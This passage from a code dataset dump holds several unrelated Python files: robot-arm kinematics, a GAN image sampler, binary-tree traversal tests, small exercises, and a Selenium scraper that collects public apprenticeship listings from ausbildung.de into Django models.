old_Q = jaco_direct_kinematics(theta)\n theta, success = jaco_inverse_kinematics(theta, old_pose, old_Q)\n theta = (theta + np.pi) % (2 * np.pi) - np.pi\n print(theta, success)\n old_pose, old_Q = jaco_direct_kinematics(theta)\n theta, success = jaco_inverse_kinematics(theta, old_pose, old_Q)\n theta = (theta + np.pi) % (2 * np.pi) - np.pi\n print(theta, success)\n # print(\"direct kinematics\")\n # print(Q)\n # print(\"euleur angles\")\n # euler = rotationMatrixToEulerAngles(Q)\n # print(euler)\n # print(\"Q recomposee avec euler angles\")\n # new_Q = eulerAnglesToRotationMatrix(euler)\n # print(new_Q)\n # print(\"difference entre les deux\")\n # print(Q - new_Q)\n # for i in range(100):\n # pose, Q = jaco_direct_kinematics(theta)\n #\n # angular_velocities = convert_to_angular_velocities([-0.01, 0, 0, 0, 0, 0], theta, 0.01)\n # angular_velocities = angular_velocities.reshape(1, 6)[0]\n # # print(angular_velocities)\n # # print(theta)\n # theta += angular_velocities\n # # print(theta)\n # print(np.subtract(pose, old_pose) / 0.1)\n # old_pose = pose\n # for i in range(100):\n # pose, Q = jaco_direct_kinematics(theta)\n # angular_velocities = convert_to_angular_velocities([0.01, 0, 0, 0, 0, 0], theta, 0.01)\n # angular_velocities = angular_velocities.reshape(1, 6)[0]\n # #print(angular_velocities)\n # #print(theta)\n # theta += angular_velocities\n # #print(theta)\n # #print(angular_velocities)\n # print(np.subtract(pose, old_pose) / 10)\n # old_pose = pose\n\n\n\n\n\n\n\n\n","sub_path":"jaco_jacobian.py","file_name":"jaco_jacobian.py","file_ext":"py","file_size_in_byte":16964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"508819452","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n# Complete the countInversions function below.\ndef countInversions(arr):\n\titr = 0\n\tn = len(arr)\n\tfor i in range(0,n):\n\t\tfor j in range(0,n-1):\n\t\t\tif (arr[j] > arr[j+1]):\n\t\t\t\tarr[j], arr[j+1] = arr[j+1], arr[j]\n\t\t\t\titr = itr + 1\n\n\treturn itr\n\n\n\nif __name__ == '__main__':\n\tfptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n\tt = int(input())\n\n\tfor t_itr in range(t):\n\t\tn = int(input())\n\n\t\tarr = list(map(int, input().rstrip().split()))\n\n\t\tresult = countInversions(arr)\n\n\t\tfptr.write(str(result) + '\\n')\n\n\tfptr.close()\n","sub_path":"Cracking the Coding Interview Challenges/ALGORITHMS/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"140526922","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# заготовка массива под циферки + просим первую\nmas_N = []\nstr_OK = input(\"Введи че-нибудь приличное: \")\n\n# обкашляем че он там написал и пихаем в массив\nwhile str_OK:\n mas_N.append(str_OK)\n str_OK = input(\"Введи че-нибудь приличное: \")\n\t\nprint(\"Вот че ты наделал:\\n\", mas_N)\n","sub_path":"HW_2/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"493260214","text":"import argparse\r\nimport os\r\nimport random\r\nimport numpy as np\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.parallel\r\nimport torch.backends.cudnn as cudnn\r\nimport torch.optim as optim\r\nimport torch.utils.data\r\nimport torchvision.datasets as dset\r\nimport torchvision.transforms as transforms\r\nimport torchvision.utils as vutils\r\nfrom stn import STNM\r\nfrom PIL import Image\r\nfrom tqdm import tqdm\r\n\r\n\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument('--dataset', required=True, help='cifar10 | lsun | imagenet | folder | lfw ')\r\nparser.add_argument('--workers', type=int, help='number of data loading workers', default=2)\r\nparser.add_argument('--numImages', type=int, default=10000, help='input batch size')\r\nparser.add_argument('--imageSize', type=int, default=64, help='the height / width of the input image to network')\r\nparser.add_argument('--nz', type=int, default=100, help='size of the latent z vector')\r\nparser.add_argument('--ngf', type=int, default=64)\r\nparser.add_argument('--ndf', type=int, default=64)\r\nparser.add_argument('--ntimestep', type=int, default=2, help='number of recursive steps')\r\nparser.add_argument('--maxobjscale', type=float, default=1.2, help='maximal object size relative to image')\r\nparser.add_argument('--session', type=int, default=1, help='training session')\r\nparser.add_argument('--cuda', type=bool, default=True, help='enables cuda')\r\nparser.add_argument('--ngpu', type=int, default=1, help='number of GPUs to use')\r\nparser.add_argument('--netG', default='', help=\"path to netG (to continue training)\")\r\nparser.add_argument('--outimgf', default='images', help='folder to output images checkpoints')\r\nparser.add_argument('--manualSeed', type=int, help='manual seed')\r\n\r\nopt = parser.parse_args()\r\nprint(opt)\r\n\r\nif opt.manualSeed is None:\r\n opt.manualSeed = random.randint(1, 10000)\r\nprint(\"Random Seed: \", opt.manualSeed)\r\nrandom.seed(opt.manualSeed)\r\ntorch.manual_seed(opt.manualSeed)\r\nif opt.cuda:\r\n torch.cuda.manual_seed_all(opt.manualSeed)\r\n\r\ncudnn.benchmark = True\r\n\r\nif torch.cuda.is_available() and not opt.cuda:\r\n print(\"WARNING: You have a CUDA device, so you should probably run with --cuda\")\r\n\r\nif opt.dataset in ['imagenet', 'folder', 'lfw']:\r\n pass\r\nelif opt.dataset == 'lsun':\r\n checkfreq = 100\r\nelif opt.dataset == 'cifar10':\r\n checkfreq = 100\r\n nc = 3\r\n rot = 0.1\r\nelif opt.dataset == 'cub200':\r\n checkfreq = 40\r\n writefreq = 20\r\n nc = 3\r\n rot = 0.1\r\nelif opt.dataset == 'mnist-one':\r\n checkfreq = 100\r\n nc = 1\r\n rot = 0.3\r\nelif opt.dataset == 'mnist-two':\r\n checkfreq = 100\r\n nc = 1\r\n rot = 0.3\r\n\r\nngpu = int(opt.ngpu)\r\nnz = int(opt.nz)\r\nngf = int(opt.ngf)\r\nndf = int(opt.ndf)\r\nnsize = int(opt.imageSize)\r\nntimestep = int(opt.ntimestep)\r\n\r\n\r\n# custom weights initialization called on netG and netD\r\ndef weights_init(m):\r\n classname = m.__class__.__name__\r\n if classname.find('Conv') != -1:\r\n m.weight.data.normal_(0.0, 0.02)\r\n m.bias.data.fill_(0)\r\n elif classname.find('BatchNorm') != -1:\r\n m.weight.data.normal_(1.0, 0.02)\r\n m.bias.data.fill_(0)\r\n\r\n\r\nclass _netG(nn.Module):\r\n def __init__(self, ngpu, nsize):\r\n super(_netG, self).__init__()\r\n self.ngpu = ngpu\r\n self.nsize_out = 2\r\n # define recurrent net for processing input random noise\r\n self.lstmcell = nn.LSTMCell(nz, nz)\r\n\r\n \"\"\"background generator G_bg\"\"\"\r\n # convt1 + bn1 + relu1 (1 x 1 --> 4 x 4) (nz --> 4 * ngf)\r\n # convt4 + bn4 + relu4 (4 x 4 --> 8 x 8) (4 * ngf --> 2 * ngf)\r\n # convt8 + bn8 + relu8 (8 x 8 --> 16x16) (2 * ngf --> ngf)\r\n # convt16 + bn16 + relu16 (16x16 --> 32x32) (ngf --> ngf / 2)\r\n self.Gbgc, self.depth_in_bg = self.buildNetGbg(nsize)\r\n # bg image head: convt + tanh (32x32 --> 64x64) (ngf --> nc)\r\n self.Gbgi = nn.Sequential(\r\n nn.ConvTranspose2d(self.depth_in_bg, nc, 4, 2, 1, bias=True),\r\n nn.Tanh()\r\n )\r\n\r\n \"\"\"foreground generator G_fg\"\"\"\r\n # the shared net\r\n # convt1 + bn1 + relu1 (1 x 1 --> 4 x 4) (nz --> 8 * ngf)\r\n # convt4 + bn4 + relu4 (4 x 4 --> 8 x 8) (8 * ngf --> 4 * ngf)\r\n # convt8 + bn8 + relu8 (8 x 8 --> 16x16) (4 * ngf --> 2 * ngf)\r\n # convt16 + bn16 + relu16 (16x16 --> 32x32) (2 * ngf --> ngf)\r\n self.Gfgc, self.depth_in = self.buildNetGfg(nsize)\r\n # fg image head: convt + tanh (32x32 --> 64x64) (ngf --> nc)\r\n self.Gfgi = nn.Sequential(\r\n nn.ConvTranspose2d(self.depth_in, nc, 4, 2, 1, bias=False),\r\n nn.Tanh()\r\n )\r\n # fg mask head: convt + sigmoid (32x32 --> 64x64) (ngf --> 1)\r\n self.Gfgm = nn.Sequential(\r\n nn.ConvTranspose2d(self.depth_in, 1, 4, 2, 1, bias=True),\r\n nn.Sigmoid()\r\n )\r\n\r\n \"\"\"grid generator G_grid\"\"\"\r\n # 6-dim transform parameters output layer\r\n self.Gtransform = nn.Linear(nz, 6)\r\n self.Gtransform.weight.data.zero_()\r\n self.Gtransform.bias.data.zero_()\r\n self.Gtransform.bias.data[0] = opt.maxobjscale\r\n self.Gtransform.bias.data[4] = opt.maxobjscale\r\n\r\n # compsitor\r\n self.compositor = STNM()\r\n\r\n \"\"\"encoder when ntimestep > 2\"\"\"\r\n # Question: why is this encoder step needed, given that there is already the LSTM?\r\n # avgpool32 + bn32 + lrelu32 (32x32 --> 16x16)\r\n # avgpool16 + bn16 + lrelu16 (16x16 --> 8 x 8)\r\n # avgpool8 + bn8 + lrelu8 (8 x 8 --> 4 x 4)\r\n # avgpool4 + bn4 + lrelu4 (4 x 4 --> 2 x 2)\r\n self.encoderconv = self.buildEncoderConv(self.depth_in, nsize // 2, self.nsize_out)\r\n # fc (ngf * 2 * 2 --> nz)\r\n self.encoderfc = self.buildEncoderFC(self.depth_in, self.nsize_out, nz)\r\n self.nlnet = nn.Sequential(\r\n nn.Linear(nz + nz, nz),\r\n nn.BatchNorm1d(nz),\r\n nn.Tanh()\r\n )\r\n\r\n def buildNetGbg(self, nsize): # take vector as input, and outout bgimg\r\n net = nn.Sequential()\r\n size_map = 1\r\n name = str(size_map)\r\n\r\n # convt1 + bn1 + relu1 (nz --> 4 * ngf)\r\n net.add_module('convt' + name, nn.ConvTranspose2d(nz, ngf * 4, 4, 4, 0, bias=True))\r\n net.add_module('bn' + name, nn.BatchNorm2d(ngf * 4))\r\n net.add_module('relu' + name, nn.ReLU(True))\r\n\r\n # convt4 + bn4 + relu4 (4 * ngf --> 2 * ngf)\r\n # convt8 + bn8 + relu8 (2 * ngf --> ngf)\r\n # convt16 + bn16 + relu16 (ngf --> ngf / 2)\r\n size_map = 4\r\n depth_in = 4 * ngf\r\n depth_out = 2 * ngf\r\n while size_map < nsize / 2:\r\n name = str(size_map)\r\n net.add_module('convt' + name, nn.ConvTranspose2d(depth_in, depth_out, 4, 2, 1, bias=True))\r\n net.add_module('bn' + name, nn.BatchNorm2d(depth_out))\r\n net.add_module('relu' + name, nn.ReLU(True))\r\n depth_in = depth_out\r\n depth_out = max(depth_in // 2, 64)\r\n size_map = size_map * 2\r\n return net, depth_in\r\n\r\n def buildNetGfg(self, nsize): # take vector as input, and output fgimg and fgmask\r\n net = nn.Sequential()\r\n size_map = 1\r\n name = str(size_map)\r\n\r\n # convt1 + bn1 + relu1 (nz --> 8 * ngf)\r\n net.add_module('convt' + name, nn.ConvTranspose2d(nz, ngf * 8, 4, 4, 0, bias=False))\r\n net.add_module('bn' + name, nn.BatchNorm2d(ngf * 8))\r\n net.add_module('relu' + name, nn.ReLU(True))\r\n\r\n # convt4 + bn4 + relu4 (8 * ngf --> 4 * ngf)\r\n # convt8 + bn8 + relu8 (4 * ngf --> 2 * ngf)\r\n # convt16 + bn16 + relu16 (2 * ngf --> ngf)\r\n size_map = 4\r\n depth_in = 8 * ngf\r\n depth_out = 4 * ngf\r\n while size_map < nsize / 2:\r\n name = str(size_map)\r\n net.add_module('convt' + name, nn.ConvTranspose2d(depth_in, depth_out, 4, 2, 1, bias=False))\r\n net.add_module('bn' + name, nn.BatchNorm2d(depth_out))\r\n net.add_module('relu' + name, nn.ReLU(True))\r\n depth_in = depth_out\r\n depth_out = max(depth_in // 2, 64)\r\n size_map = size_map * 2\r\n\r\n return net, depth_in\r\n\r\n def buildEncoderConv(self, depth_in, nsize_in, nsize_out):\r\n net = nn.Sequential()\r\n nsize_i = nsize_in\r\n while nsize_i > nsize_out: # 32 --> 16 --> 8 --> 4\r\n name = str(nsize_i)\r\n net.add_module('avgpool' + name, nn.AvgPool2d(4, 2, 1))\r\n net.add_module('bn' + name, nn.BatchNorm2d(depth_in))\r\n net.add_module('lrelu' + name, nn.LeakyReLU(0.2, inplace=True))\r\n nsize_i = nsize_i // 2\r\n return net\r\n\r\n def buildEncoderFC(self, depth_in, nsize_in, out_dim):\r\n net = nn.Sequential(\r\n nn.Linear(depth_in * nsize_in * nsize_in, out_dim),\r\n nn.BatchNorm1d(out_dim),\r\n nn.Tanh()\r\n )\r\n return net\r\n\r\n def clampT(self, Tin):\r\n \"\"\"\r\n This function is to restrict transformation scale greater than the minimum scale.\r\n Tin: Tensor(N, 6)\r\n\r\n \"\"\"\r\n x_s = Tin[:, 0].clamp(opt.maxobjscale, 2 * opt.maxobjscale) # scale for x axis ???\r\n x_r = Tin[:, 1].clamp(-rot, rot) # rotation for x axis ???\r\n x_t = Tin[:, 2].clamp(-1.0, 1.0) # translation for x axis ??\r\n\r\n y_s = Tin[:, 3].clamp(opt.maxobjscale, 2 * opt.maxobjscale) # scale for y axis ???\r\n y_r = Tin[:, 4].clamp(-rot, rot) # rotation for y axis ???\r\n y_t = Tin[:, 5].clamp(-1.0, 1.0) # translation for y axis ??\r\n\r\n Tout = torch.stack([x_s, x_r, x_t, y_r, y_s, y_t], dim=1)\r\n return Tout\r\n\r\n def old_clampT(self, Tin):\r\n x_s = Tin.select(1, 0)\r\n x_r = Tin.select(1, 1)\r\n x_t = Tin.select(1, 2)\r\n\r\n y_r = Tin.select(1, 3)\r\n y_s = Tin.select(1, 4)\r\n y_t = Tin.select(1, 5)\r\n\r\n x_s_clamp = torch.unsqueeze(x_s.clamp(opt.maxobjscale, 2 * opt.maxobjscale), 1)\r\n x_r_clmap = torch.unsqueeze(x_r.clamp(-rot, rot), 1)\r\n x_t_clmap = torch.unsqueeze(x_t.clamp(-1.0, 1.0), 1)\r\n\r\n y_r_clamp = torch.unsqueeze(y_r.clamp(-rot, rot), 1)\r\n y_s_clamp = torch.unsqueeze(y_s.clamp(opt.maxobjscale, 2 * opt.maxobjscale), 1)\r\n y_t_clamp = torch.unsqueeze(y_t.clamp(-1.0, 1.0), 1)\r\n\r\n Tout = torch.cat([x_s_clamp, x_r_clmap, x_t_clmap, y_r_clamp, y_s_clamp, y_t_clamp], 1)\r\n return Tout\r\n\r\n def forward(self, input):\r\n batchSize = input.size(1)\r\n\r\n # initialize the hidden state & the cell\r\n hx = torch.zeros(batchSize, nz).to(input.device)\r\n cx = torch.zeros(batchSize, nz).to(input.device)\r\n\r\n outputsT = []\r\n fgimgsT = []\r\n fgmaskT = []\r\n\r\n \"\"\"initial step: generate bg canvas\"\"\"\r\n hx, cx = self.lstmcell(input[0], (hx, cx))\r\n hx_view = hx.contiguous().view(batchSize, nz, 1, 1)\r\n # We send input vector to background generator directly\r\n # to make it equivalent to DCGAN when ntimestep = 1.\r\n bgc = self.Gbgc(input[0][:, :, None, None])\r\n canvas = self.Gbgi(bgc)\r\n outputsT.append(canvas)\r\n\r\n \"\"\"other steps: generate fg component\"\"\"\r\n prevc = bgc\r\n for i in range(1, ntimestep):\r\n # LSTM process\r\n hx, cx = self.lstmcell(input[i], (hx, cx))\r\n\r\n # shortcut process if enabled\r\n if ntimestep > 2:\r\n encConv = self.encoderconv(prevc)\r\n encConv_view = encConv.view(batchSize, self.depth_in * self.nsize_out * self.nsize_out)\r\n encFC = self.encoderfc(encConv_view)\r\n concat = torch.cat([hx, encFC], 1)\r\n comb = self.nlnet(concat)\r\n input4g = comb\r\n # input4g_view = input4g.contiguous().view(batchSize, nz, 1, 1)\r\n else:\r\n input4g = hx\r\n # input4g_view = hx_view\r\n\r\n # generate foreground image and mask\r\n fgc = self.Gfgc(input4g[:, :, None, None]) # hx_view: Tensor(N, Z, 1, 1)\r\n fgi = self.Gfgi(fgc) # foreground image\r\n fgm = self.Gfgm(fgc) # foreground mask\r\n\r\n # composition\r\n fgt = self.clampT(self.Gtransform(input4g)) # Foreground transformation parameters Tensor(N, 6)\r\n # fgg = self.Ggrid(fgt_view) # generate grid to transform fg in a differentiable way\r\n fgg = nn.functional.affine_grid(fgt.view(batchSize, 2, 3),\r\n [batchSize, nc, opt.imageSize, opt.imageSize],\r\n align_corners=False) # Tensor(N, H, W, 2)\r\n canvas = self.compositor(canvas=canvas, image=fgi, mask=fgm, grid=fgg) # Tensor(N, nc, H, W)\r\n\r\n # collect results at current step\r\n prevc = fgc\r\n outputsT.append(canvas)\r\n fgimgsT.append(fgi)\r\n fgmaskT.append(fgm)\r\n\r\n return outputsT[-1], outputsT, fgimgsT, fgmaskT\r\n\r\n\r\nnetG = _netG(ngpu, nsize)\r\n# For smaller network, initialize BN as usual\r\n# For larger network, initialize BN with zero mean\r\n# The later case works for both, so we commet the initializzaton\r\n# netG.apply(weights_init)\r\nif opt.netG != '':\r\n netG.load_state_dict(torch.load(opt.netG))\r\nprint(netG)\r\n\r\n\r\nnoise = torch.FloatTensor(ntimestep, 1, nz)\r\n\r\nif opt.cuda:\r\n netG.cuda()\r\n noise = noise.cuda()\r\n\r\n# make dir\r\nos.makedirs(os.path.join(opt.outimgf, \"images\"), exist_ok=True)\r\nos.makedirs(os.path.join(opt.outimgf, \"masks\"), exist_ok=True)\r\nname_len = int(np.log10(opt.numImages) + 1)\r\nprogress = tqdm(range(opt.numImages))\r\n\r\nnetG.eval()\r\nwith torch.no_grad():\r\n for idx in progress:\r\n # train with fake\r\n noise.resize_(ntimestep, 1, nz).normal_(0, 1)\r\n fake, fakeseq, fgimgseq, fgmaskseq = netG(noise)\r\n\r\n # save images\r\n ndarr = fake[0].add_(1.).mul_(0.5*255).add_(0.5).clamp_(0, 255).permute(1, 2, 0).to('cpu', torch.uint8).numpy()\r\n im = Image.fromarray(ndarr)\r\n im.save(os.path.join(opt.outimgf, \"images\", f\"{idx}\".zfill(name_len) + \".png\"))\r\n\r\n # save masks\r\n ndarr = fgmaskseq[-1][0].mul_(255).add_(0.5).clamp_(0, 255).permute(1, 2, 0).to('cpu', torch.uint8).numpy()\r\n mask = Image.fromarray(np.concatenate([ndarr, ndarr, ndarr], axis=2))\r\n mask.save(os.path.join(opt.outimgf, \"masks\", f\"{idx}\".zfill(name_len) + \".png\"))\r\n\r\n progress.set_description(\r\n (\r\n f\"saving files at {opt.outimgf}/images(masks)/\" + f\"{idx}\".zfill(name_len) + \".png\"\r\n )\r\n )\r\n\r\n","sub_path":"sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":14831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"463116066","text":"from struct import *\nfrom functools import reduce\n\ndef a(s):\n if isinstance(s,bytes):\n s = bytes.decode(s)\n return reduce(lambda x,y:x+y,[i for i in s if i != '\\0'])\n else:\n return s\nif __name__ == '__main__':\n p = pack('10s10s3d',b'phoneid',b'time',0.1,0.2,0.3)\n print(p)\n m = unpack('10s10s3d',p)\n print(list(map(a,m)))","sub_path":"datapack.py","file_name":"datapack.py","file_ext":"py","file_size_in_byte":360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"325138027","text":"from unittest import TestCase\nfrom RubkTreeTraversal import BinaryTree, Node\nfrom io import StringIO\nimport contextlib\n\n\nclass TestBinaryTree(TestCase):\n def gen_simple_tree(self):\n n2 = Node(2)\n n3 = Node(3)\n n1 = Node(1, n2, n3)\n return BinaryTree(n1)\n\n def gen_left_tree(self):\n n5 = Node(5)\n n4 = Node(4)\n n3 = Node(3, left=n4)\n n2 = Node(2, left=n3)\n n1 = Node(1, left=n2, right=n5)\n return BinaryTree(n1)\n\n def gen_right_tree(self):\n n5 = Node(5)\n n4 = Node(4)\n n3 = Node(3, right=n4)\n n2 = Node(2, right=n3)\n n1 = Node(1, left=n5, right=n2)\n return BinaryTree(n1)\n\n def gen_full_tree(self):\n n7 = Node(7)\n n6 = Node(6)\n n3 = Node(3, left=n6, right=n7)\n n5 = Node(5)\n n4 = Node(4)\n n2 = Node(2, left=n4, right=n5)\n n1 = Node(1, left=n2, right=n3)\n return BinaryTree(n1)\n\n def get_method_stdout(self, method):\n temp_stdout = StringIO()\n with contextlib.redirect_stdout(temp_stdout):\n method()\n return temp_stdout.getvalue().strip()\n\n def test_in_order_traversal_rec(self):\n tree = self.gen_simple_tree()\n output = self.get_method_stdout(tree.in_order_traversal_rec)\n self.assertEqual(\"2 1 3\", output)\n\n def test_in_order_traversal_iter(self):\n tree = self.gen_simple_tree()\n output = self.get_method_stdout(tree.in_order_traversal_iter)\n self.assertEqual(\"2 1 3\", output)\n\n def test_in_order_traversal_left_rec(self):\n tree = self.gen_left_tree()\n output = self.get_method_stdout(tree.in_order_traversal_rec)\n self.assertEqual(\"4 3 2 1 5\", output)\n\n def test_in_order_traversal_left_iter(self):\n tree = self.gen_left_tree()\n output = self.get_method_stdout(tree.in_order_traversal_iter)\n self.assertEqual(\"4 3 2 1 5\", output)\n\n def test_in_order_traversal_right_rec(self):\n tree = self.gen_right_tree()\n output = self.get_method_stdout(tree.in_order_traversal_rec)\n self.assertEqual(\"5 1 2 3 4\", output)\n\n def test_in_order_traversal_right_iter(self):\n tree = self.gen_right_tree()\n output = self.get_method_stdout(tree.in_order_traversal_iter)\n self.assertEqual(\"5 1 2 3 4\", output)\n\n def test_in_order_traversal_full_rec(self):\n tree = self.gen_full_tree()\n output = self.get_method_stdout(tree.in_order_traversal_rec)\n self.assertEqual(\"4 2 5 1 6 3 7\", output)\n\n def test_in_order_traversal_full_iter(self):\n tree = self.gen_full_tree()\n output = self.get_method_stdout(tree.in_order_traversal_iter)\n self.assertEqual(\"4 2 5 1 6 3 7\", output)\n","sub_path":"test_RubkTreeTraversalpy.py","file_name":"test_RubkTreeTraversalpy.py","file_ext":"py","file_size_in_byte":2758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"166490428","text":"import os\nimport sys\nimport logging\nimport time\n\nfrom datetime import datetime\nfrom urllib import parse\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.wait import WebDriverWait\n\nfrom apps.site_parser.models import City, Company, Vacancy\n\n\"\"\"Settings for local testing on Linux/Mac with Chrome driver\"\"\"\n\nLINUX_PLATFORM = 'linux'\nMAC_PLATFORM = 'darwin'\n\nWEB_DRIVERS = {\n LINUX_PLATFORM: 'chromedriver_linux_x64',\n MAC_PLATFORM: 'chromedriver_darwin'\n}\n\nCURRENT_PATH = os.path.abspath(os.path.dirname(__file__))\ntry:\n DRIVER_PATH = os.path.join(CURRENT_PATH, 'drivers',\n WEB_DRIVERS[sys.platform])\nexcept:\n raise Exception\n\nlogger = logging.getLogger('parser')\n\n\nclass BaseParser():\n \"\"\"\n Base class for import data from ausbildung.de\n \"\"\"\n\n # Pages to scrap\n URLS = {\n 'filter_page': 'https://www.ausbildung.de/suche/',\n }\n\n def __init__(self, *args, **kwargs):\n \"\"\"\n Init base parser\n \"\"\"\n self.browser = self._setup_browser()\n\n @staticmethod\n def _setup_browser():\n \"\"\"\n Prepare webdriver\n :return: \n \"\"\"\n logger.info(\"setup browser\")\n chrome_bin = os.environ.get('GOOGLE_CHROME_SHIM', None)\n\n options = webdriver.ChromeOptions()\n options.add_argument('headless')\n options.binary_location = chrome_bin\n\n return webdriver.Chrome(chrome_options=options)\n\n\nclass Parser(BaseParser):\n \"\"\"\n Main parser\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n \"\"\"\n Init parser\n \"\"\"\n logger.info(\"init parser\")\n super(Parser, self).__init__(*args, **kwargs)\n self.filter_form = None\n self.vacancy_links = []\n\n def run(self):\n \"\"\"\n Run parsing\n \"\"\"\n logger.info(\"run parser\")\n self.browser.get(self.URLS['filter_page'])\n self._prepare_filters()\n self._handle_results()\n self._parse_vacancy_page()\n logger.info(\"successfully parsed\")\n\n def _prepare_filters(self):\n \"\"\"\n Fill filters\n \"\"\"\n logger.info(\"fill filters\")\n\n form_id = 'new_form_main_search'\n logger.info(\"try to get form with filters\")\n self.filter_form = WebDriverWait(self.browser, 5).until(\n EC.presence_of_element_located((By.ID, form_id)))\n\n self._fill_query()\n self._fill_filters()\n self._submit_filters()\n\n def _fill_query(self):\n \"\"\"\n Paste query word into field\n \"\"\"\n logger.info(\"fill query\")\n search_input_id = 'main-search-what'\n query = 'nordsee'\n # fill search query\n self.filter_form.find_element_by_id(search_input_id).send_keys(query)\n\n def _fill_filters(self):\n \"\"\"\n Fill filters inputs\n \"\"\"\n logger.info(\"fill filters inputs\")\n\n searched_industry = 'Gastronomie / Tourismus'\n filter_box_class = 'filter-box'\n range_id = 'form_main_search_radius'\n industry_select_id = 'form_main_search_industry_public_id'\n\n logger.info(\"try to open block with filters\")\n # click to open filters\n filter_box = self.filter_form.find_element_by_class_name(\n filter_box_class)\n filter_box.click()\n\n logger.info(\"try to set range\")\n # set range to 100 km\n range_filter = filter_box.find_element_by_id(range_id)\n self.browser.execute_script(\n \"arguments[0].setAttribute('value', 100)\", range_filter)\n\n logger.info(\"try to select searched industry\")\n # industry select\n industry_select = filter_box.find_element_by_id(industry_select_id)\n subelement_class = 'selectize-control'\n parent = industry_select.find_element_by_xpath('..')\n subelement = parent.find_element_by_class_name(subelement_class)\n subelement.click()\n\n option = subelement.find_element_by_xpath(\n \"//div[@class='option'][contains(text(), '{}')]\".format(\n searched_industry))\n option.click()\n\n def _submit_filters(self):\n \"\"\"\n Submit filters form\n \"\"\"\n logger.info(\"submit form with filters\")\n self.filter_form.submit()\n\n def _handle_results(self):\n \"\"\"\n Parse filtered results\n \"\"\"\n logger.info(\"handle results\")\n results_wrapper_class = 'search-result__wrapper'\n card_class = 'simple-card'\n\n WebDriverWait(self.browser, 5).until(\n EC.presence_of_element_located((By.CLASS_NAME, card_class)))\n\n results_count = self._get_results_count()\n current_count = len(\n self.browser.find_elements_by_class_name(card_class))\n\n logger.info(\"scroll to view all results\")\n while current_count < results_count:\n self._next_page()\n current_count = len(\n self.browser.find_elements_by_class_name(card_class))\n\n logger.info(\"get wrapper with results\")\n results = self.browser.find_element_by_class_name(\n results_wrapper_class)\n\n cards = results.find_elements_by_class_name(card_class)\n\n actual_vacancies_ids = []\n\n logger.info(\"handle cards\")\n for card in cards:\n actual_vacancies_ids.append(self._handle_card(card))\n\n logger.info(\"handling cards ends, set old vacancies inactive\")\n\n # set old vacancies inactive\n Vacancy.objects.exclude(id__in=actual_vacancies_ids).update(\n is_active=False)\n\n def _handle_card(self, card):\n \"\"\"\n Parse card info\n :param card: handling card\n :return:\n \"\"\"\n logger.info(\"handle card\")\n vacancy_title = card.find_element_by_tag_name(\"h3\").text\n company_name = card.find_element_by_tag_name(\n \"h4\").find_element_by_tag_name(\n \"strong\").text\n start_date_str = card.find_element_by_class_name(\n 'fact__content--calendar').find_element_by_class_name('value').text\n\n try:\n vacancy_start_date = datetime.strptime(start_date_str, '%d.%m.%Y')\n except:\n vacancy_start_date = None\n\n city_name = card.find_element_by_class_name(\n 'fact__content--location').find_element_by_class_name('value').text\n\n company_logo = card.find_element_by_class_name(\n 'simple-card__logo-overlay').get_attribute('src')\n\n vacancy_link = card.find_element_by_class_name(\n 'simple-card__link').get_attribute('href')\n self.vacancy_links.append(vacancy_link)\n vacancy_uuid = \\\n parse.parse_qs(parse.urlparse(vacancy_link).query)['vacancy'][0]\n\n logger.info(\n \"{} {} {} {}\".format(vacancy_title, company_name, start_date_str,\n city_name, company_logo))\n\n logger.info(\"save parsed data to database\")\n city, _ = City.objects.get_or_create(name=city_name)\n company, _ = Company.objects.update_or_create(name=company_name,\n defaults={\n 'logo': company_logo})\n # vacancy data to update\n vacancy_data = {\n 'title': vacancy_title,\n 'starts_at': vacancy_start_date,\n 'location': city,\n 'company': company,\n 'is_active': True\n }\n # update or create vacancies\n vacancy, _ = Vacancy.objects.update_or_create(uuid=vacancy_uuid,\n defaults=vacancy_data)\n logger.info(\"data saved successfully\")\n return vacancy.id\n\n def _get_results_count(self):\n \"\"\"\n Get results count\n \"\"\"\n return int(self.browser.find_element_by_class_name('blob').text)\n\n def _next_page(self):\n \"\"\"\n Scroll page to next one\n \"\"\"\n try:\n self.browser.find_element_by_class_name(\n 'js-load-more-button-here').click()\n except:\n self.browser.execute_script(\n 'window.scrollTo(0, document.body.scrollHeight);')\n time.sleep(2)\n\n def _parse_vacancy_page(self):\n logger.info(\"parse vacancy pages\")\n for link in self.vacancy_links:\n self.browser.get(link)\n\n # update description value of vacancy\n vacancy_uuid = \\\n parse.parse_qs(parse.urlparse(link).query)['vacancy'][0]\n vacancy_descr = self.browser.find_element_by_class_name(\n 'entity-description__description').text\n\n # update image list value of vacancy\n vacancy_images_block = self.browser.find_element_by_class_name(\n 'quadruple-media__media-list')\n vacancy_images_list = vacancy_images_block.find_elements_by_tag_name(\n 'img')\n image_list = []\n for image in vacancy_images_list:\n image_list.append(image.get_attribute('src'))\n\n Vacancy.objects.filter(uuid=vacancy_uuid).update(\n description=vacancy_descr, image_list=image_list)\n logger.info(\n \"successfully updated vacancy uuid-{}\".format(vacancy_uuid))\n","sub_path":"src/apps/site_parser/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":9382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"261533707","text":"#%matplotlib inline\nimport matplotlib\nmatplotlib.use('agg')\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom numpy import ma\nfrom matplotlib 